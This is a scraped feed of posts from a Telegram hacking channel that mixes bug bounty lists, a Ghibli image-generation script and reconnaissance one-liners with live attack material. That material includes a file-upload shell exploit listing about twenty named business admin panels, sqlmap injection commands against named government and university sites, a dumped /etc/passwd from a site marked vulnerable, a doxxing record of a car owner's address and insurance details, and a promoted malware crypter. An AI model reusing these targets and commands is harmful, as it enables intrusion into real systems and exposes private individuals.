hacking vidhya
Open in Telegram
No data
Subscribers
-824 hours
-137 days
+3730 days
Posts Archive
🔥Top 25 Bug Bounty Platform 💰
01. Bugcrowd
02. HackerOne
03. Intigriti
04. YesWeHack
05. Synack, Inc.
06. HackenProof | Web3 bug bounty platform
07. Open Bug Bounty
08. Immunefi
09. Cobalt
10. Zerocopter
11. Yogosha
12. SafeHats
13. Vulnerability Research Labs, LLC
14. AntiHACKme Pte Ltd
15. RedStorm Information Security
16. Cyber Army Indonesia
17. Hacktrophy
18. Nordic Defender
19. Capture The Bug
20. Bugbounter
21. Detectify
22. BugBase
23. huntr
24. Pentabug
25. SecureBug
Happy Hunt ❤️
➯ Share & Support Us
➯ Channel : @hacking_vidhya
Servers : Win 2016 - 2019 - 2012
Exploit :
/admincp/products/UploadPhoto.asp
Shell Path :
/admincp/products/Upload_Files/Shell.php
Target :
https://instrumexe.com/admincp
https://www.tessori.com/admincp
https://siliconoffice.biz/admincp
https://www.scangulflogistics.com/admincp
https://www.pakterry.com//admincp/
https://www.ojayspk.com/admincp/
https://www.fundshop.com.pk/admincp/
https://www.kgtrading.com.pk/admincp
https://www.swan.com.pk/admincp/
https://www.shahzadapparels.com//admincp/
https://www.tessori.com//admincp
https://www.tessori.com//admincp/
https://siliconoffice.biz//admincp/
https://www.fordees.com//admincp/
https://instrumexe.com//admincp/
https://www.pakterry.com/admincp/
https://at-est.com//admincp/
https://www.bilaltraders.net/admincp/
https://www.alrawafea.com/admincp/
from diffusers import StableDiffusionImg2ImgPipeline
import torch
from PIL import Image
import io
from google.colab import files
import matplotlib.pyplot as plt
import time
# Load model function
def load_model():
model_id = "nitrosocke/Ghibli-Diffusion" # Correct model ID
dtype = torch.float16 if torch.cuda.is_available() else torch.float32
print("Loading model...")
pipe = StableDiffusionImg2ImgPipeline.from_pretrained(model_id, torch_dtype=dtype)
pipe.to("cuda" if torch.cuda.is_available() else "cpu")
pipe.enable_attention_slicing() # Optimize memory usage
print("Model loaded!")
return pipe
# Function to generate Ghibli-style image
def generate_ghibli_image(image, pipe, strength):
image = image.convert("RGB")
image = image.resize((512, 512)) # Ensure proper size
prompt = "Ghibli-style anime painting, soft pastel colors, highly detailed, masterpiece"
print("Generating image...")
start_time = time.time()
result = pipe(prompt=prompt, image=image, strength=strength).images[0]
print(f"Image generated in {time.time() - start_time:.2f} seconds!")
return result
# Check for GPU
gpu_info = "GPU is available!" if torch.cuda.is_available() else "Warning: GPU not available. Processing will be slow."
print(gpu_info)
# Load the model
pipe = load_model()
# Upload image section
print("Please upload your image file:")
uploaded = files.upload()
if uploaded:
file_name = list(uploaded.keys())[0]
image = Image.open(io.BytesIO(uploaded[file_name]))
# Display original image
plt.figure(figsize=(5, 5))
plt.imshow(image)
plt.title("Original Image")
plt.axis('off')
plt.show()
# Ask for strength input with error handling
while True:
try:
strength = float(input("Enter stylization strength (0.3-0.8, recommended 0.6): "))
strength = max(0.3, min(0.8, strength)) # Clamp between 0.3 and 0.8
break
except ValueError:
print("Invalid input. Please enter a number between 0.3 and 0.8.")
# Generate and display the result
result_img = generate_ghibli_image(image, pipe, strength)
plt.figure(figsize=(5, 5))
plt.imshow(result_img)
plt.title("Ghibli Portrait")
plt.axis('off')
plt.show()
# Save the output image and offer download
output_filename = f"ghibli_portrait_{file_name}"
result_img.save(output_filename)
files.download(output_filename)
print(f"Image saved as {output_filename} and download initiated!")
else:
print("No file was uploaded. Please run the cell again and upload an image.")
🚀 How to Generate Ghibli Images Using your Python Code?
🍵 Even You can make your own API
🌟 Just open below link in Chrome https://colab.research.google.com/ (They provide platform to run python code.)
🌶 Click + New Notebook (Once click open window like below).
🎖 Put Above code in “Start coding or generate with ai” & put below code.
🍒 Once you add code and click on run icon. It’s take 2 second for run
🧿 Wait untill upload your inage box appears.
💮 After Appears Choose file.
😱 Wait 1 to 2 minute. Your image ready & download automatic.
🍒 Generate Unlimited Ghibli Images for Free 🤫.👤 OWNER & VEHICLE INFO
--------------------------------------------------
Owner: SHAH RUKH KHAN
Father's Name: MEER TAJ MOHAMMAD
Mobile: Unlock for ₹50 🔓
Chassis No: SCATV6202PU217090
Engine No: 90244987
Permanent Address: 200/A MANNAT B J ROAD,BAND STAND,BANDRA WEST MUMBAI,MUMBAI,MAHARASHTRA,400050
📋 REGISTRATION INFO
--------------------------------------------------
Owner Count: 1
Registration Date: 12/04/2023
Maker Description: ROLLS-ROYCE
Model: MOTOR CAR(LMV)
Color: ARCTIC WHITE
Fuel Type: PETROL
Fit Upto: 11/04/2038
PUCC Number: New Vehicle
PUCC Upto: 11-Apr-2024
RC Expiry Date: 11-Apr-2038
State Code: MH
RTO Name: MUMBAI (WEST)
Tax Upto: NA
Reg Authority: MUMBAI (WEST), Maharashtra
Blacklist Status: NA
Blacklist Details:
Manufacturing Month/Year: 2/2023
Manufacturing Year:
Financial Year: FY2425
Cubic Capacity: 6749
Model Description: CULLINAN
Seat Capacity:
Vehicle Class Description: LMV
🛡 INSURANCE & FASTAG
--------------------------------------------------
IDV: 1.397925E8
Vehicle Insurance Company Name: ICICI LOMBARD
Vehicle Insurance Policy Number: 3001/285130992/00/000
Vehicle Insurance Upto: 16-Mar-2026
Vehicle Class Description:
Previous Year Insurer ID:
Previous Year Insurer Name: ICICI LOMBARD
Previous Year Policy Expiry Date: 16/03/2026
Previous Year Policy Number: 3001/285130992/00/000
Vehicle Class Core: Not available
IIB Claim Check: Y
Nil Dep Flag: Y
Previous Policy Service Claim Amount: 0.0
Previous Policy Service Claim Count: 0
NCB: 20
Previous Insurer Name: TATA AIG GENERAL INSURANCE CO LTD
Previous Policy Expiry Date: 16/03/2025
Previous Policy Number: 01643161650000
Previous Policy Start Date: 17/03/2024
Fastag Bank: ICICI Bank
Balance: ₹ 7536
[VULNERABLE] https://www.caredda.net
========================================
root:x:0:0:root:/root:/sbin/nologin
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
irc:x:39:39:ircd:/run/ircd:/usr/sbin/nologin
gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin
nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
_apt:x:100:65534::/nonexistent:/usr/sbin/nologin
systemd-network:x:101:102:systemd Network Management,,,:/run/systemd:/usr/sbin/nologin
systemd-resolve:x:102:103:systemd Resolver,,,:/run/systemd:/usr/sbin/nologin
messagebus:x:103:105::/nonexistent:/usr/sbin/nologin
redis:x:104:106::/var/lib/redis:/usr/sbin/nologin
postfix:x:89:89::/var/spool/postfix:/usr/sbin/nologin
postgres:x:106:109:PostgreSQL administrator,,,:/var/lib/postgresql:/sbin/nologin
ID19547475:x:19547475:19547475::/web/htdocs/www.caredda.net/home:/bin/false
↳ Nuclei template to find outdated software:
id: outdated-software-detectioninfo:
name: Outdated Software Detection
author: pentester_x
severity: low
description: |
Detects outdated software versions by extracting version information from headers, scripts, and stylesheets.reference:
- https://nvd.nist.gov/vuln/search
- https://www.cvedetails.com
- https://www.exploit-db.com
- https://cve.mitre.orgtags: outdated,software,vulnerable,version,cverequests:
- method: GET
path:
- "{{BaseURL}}"
- "{{BaseURL}}/version"
- "{{BaseURL}}/status"
- "{{BaseURL}}/server-info"
- "{{BaseURL}}/api/version"
- "{{BaseURL}}/v1/info"
- "{{BaseURL}}/robots.txt"matchers:
- type: regex
part: header
regex:
- '(?i)(Server|X-Powered-By|Version):.*?(Apache|nginx|PHP|WordPress|Tomcat|MySQL)/(\d+\.\d+\.\d+)'
- '(?i)(\b\d+\.\d+\.\d+\b)'extractors:
- type: regex
name: software_version
group: 3
part: header
regex:
- '(?i)(Server|X-Powered-By|Version):.*?(Apache|nginx|PHP|WordPress|Tomcat|MySQL)/(\d+\.\d+\.\d+)'
- type: regex
name: software_version
regex:
- '(?i)v?(?:ersion)?[\s:]*(\d+\.\d+\.\d+)'- method: GET
path:
- "{{BaseURL}}/static/main.js"
- "{{BaseURL}}/css/styles.css"
- "{{BaseURL}}/app/build.js"
- "{{BaseURL}}/assets/scripts.js"matchers:
- type: regex
regex:
- '(?i)v?\d+\.\d+\.\d+'
- '@version\s+\d+\.\d+\.\d+'extractors:
- type: regex
name: software_version
regex:
- '(?i)v?(\d+\.\d+\.\d+)'
- '@version\s+(\d+\.\d+\.\d+)'
#infosec #cybersecurity #bugbounty #pentest #bugbountyTips #JS #Nuclei
➯ Share & Support Us
➯ Channel : @hacking_vidhyaHello Telegram Team This Channel Does Not Promote Any Illegal Activities We Are Following Telegram Guidelines Thank You @Rove
مرحباً بفريق Telegram، هذه القناة لا تروج لأي أنشطة غير قانونية، نحن نتبع إرشادات Telegram، شكرًا لك @Rove
Привет, команда Telegram. Этот канал не пропагандирует никакую незаконную деятельность. Мы следуем правилам Telegram. Спасибо @Rove.
🔍 How many of you are interested in Cybersecurity & Bug Hunting? 💻🐞
Vote below! 👇
🔥 Cybersecurity Certs – Best & Affordable! 🔥
Get official vouchers for top certifications:
✅ EC-Council – CEH, CPENT & more
✅ OffSec – OSCP, L1, LF & more
✅ INE, TCM, CompTIA, Altered Security, Zero-Point Security – All major certs!
🚀 Best prices | Global buyers welcome
💬 DM: @stexe – Serious buyers only!
*100 usd awarded*
*Bug*
*User b cannot see private video of user a*
*User a sends a link to user b*
*Now user b can view private videos even video privacy is private*
ORACLE WAS NOT COMPROMISED! oracle intentionally inserted a weird txt file into there website with a criminals email address!!!!
⚠️ SQL Injection Vulnerabilities ⚠️
Thailand Marine Department 🇹🇭:
sqlmap -u "https://laws.md.go.th/mrc/detail.php?id=38" --random-agent --level=1 --risk=3 --technique=BUESTQ --batch --dbs
Aryavart International University 🇮🇳:
sqlmap -u "https://aiuniversity.edu.in/c_info.php?id=2" --random-agent --level=1 --risk=3 --technique=BUESTQ --batch --dbs
Sri Lanka Lower River basin Development Authority 🇱🇰:
python3 sqlmap -u "http://www.lnrbda.gov.ng/readnews.php?id=1" --random-agent --level=1 --risk=3 --technique=BUESTQ --batch --dbs
BIAM Laborarty School & Collage 🇧🇩:
python3 sqlmap -u "https://blscbogra.edu.bd/hm_message.php?id=2" --random-agent --level=1 --risk=3 --technique=BUESTQ --batch --dbs
Nuts Hut Company Ltd. 🇱🇰:
sqlmap -u "https://www.nutshut.lk/product.php?id=642" --random-agent --level=1 --risk=3 --technique=BUESTQ --batch --dbs
🔵 t.me/hacking_vidhya
Eid Mubarak from Team Hacking Vidhya! 🌙✨
As the crescent moon shines bright, we extend our warmest wishes to you and your loved ones. May this Eid bring joy, peace, and endless blessings into your life. Let’s celebrate with gratitude, kindness, and unity.
While we rejoice, let’s not forget our brothers and sisters in Palestine who are enduring hardships. Our hearts stand with them, praying for peace, justice, and freedom. True Eid is when every soul finds happiness and every heart feels safe.
May this sacred occasion strengthen our bonds, inspire compassion, and remind us of the values of humanity. Cherish these moments with family, spread love, and continue to support those in need.
Eid Mubarak! Stay happy, stay blessed! 🌍💙 #EidMubarak #HackingVidhya #PrayForPalestine #PeaceAndJustice
Subdomain Enumeration
## Juicy Subdomains
subfinder -d target.com -silent | dnsx -silent | cut -d ' ' -f1 | grep --color 'api\|dev\|stg\|test\|admin\|demo\|stage\|pre\|vpn'
## from BufferOver.run
curl -s https://dns.bufferover.run/dns?q=.target.com | jq -r .FDNS_A[] | cut -d',' -f2 | sort -u
## from Riddler.io
curl -s "https://riddler.io/search/exportcsv?q=pld:target.com" | grep -Po "(([\w.-]*)\.([\w]*)\.([A-z]))\w+" | sort -u
## from RedHunt Labs Recon API
curl --request GET --url 'https://reconapi.redhuntlabs.com/community/v1/domains/subdomains?domain=<target.com>&page_size=1000' --header 'X-BLOBR-KEY: API_KEY' | jq '.subdomains[]' -r
## from nmap
nmap --script hostmap-crtsh.nse target.com
## from CertSpotter
curl -s "https://api.certspotter.com/v1/issuances?domain=target.com&include_subdomains=true&expand=dns_names" | jq .[].dns_names | grep -Po "(([\w.-]*)\.([\w]*)\.([A-z]))\w+" | sort -u
## from Archive
curl -s "http://web.archive.org/cdx/search/cdx?url=*.target.com/*&output=text&fl=original&collapse=urlkey" | sed -e 's_https*://__' -e "s/\/.*//" | sort -u
## from JLDC
curl -s "https://jldc.me/anubis/subdomains/target.com" | grep -Po "((http|https):\/\/)?(([\w.-]*)\.([\w]*)\.([A-z]))\w+" | sort -u
## from crt.sh
curl -s "https://crt.sh/?q=%25.target.com&output=json" | jq -r '.[].name_value' | sed 's/\*\.//g' | sort -u
## from ThreatMiner
curl -s "https://api.threatminer.org/v2/domain.php?q=target.com&rt=5" | jq -r '.results[]' |grep -o "\w.*target.com" | sort -u
## from Anubis
curl -s "https://jldc.me/anubis/subdomains/target.com" | jq -r '.' | grep -o "\w.*target.com"
## from ThreatCrowd
curl -s "https://www.threatcrowd.org/searchApi/v2/domain/report/?domain=target.com" | jq -r '.subdomains' | grep -o "\w.*target.com"
## from HackerTarget
curl -s "https://api.hackertarget.com/hostsearch/?q=target.com"
## from AlienVault
curl -s "https://otx.alienvault.com/api/v1/indicators/domain/tesla.com/url_list?limit=100&page=1" | grep -o '"hostname": *"[^"]*' | sed 's/"hostname": "//' | sort -u
## from Censys
censys subdomains target.com
## from subdomain center
curl "https://api.subdomain.center/?domain=target.com" | jq -r '.[]' | sort -u
Don’t forget to drop your reactions & stars! ⭐️✨ — Your support keeps me going! 🔋🚀 🔗 @hacking_vidhya
BinCrypter
*
Linux Binary Runtime Crypter - in BASH!
*
☢️ Link
Don’t forget to drop your reactions & stars! ⭐️✨ — Your support keeps me going! 🔋🚀 🔗 @hacking_vidhya
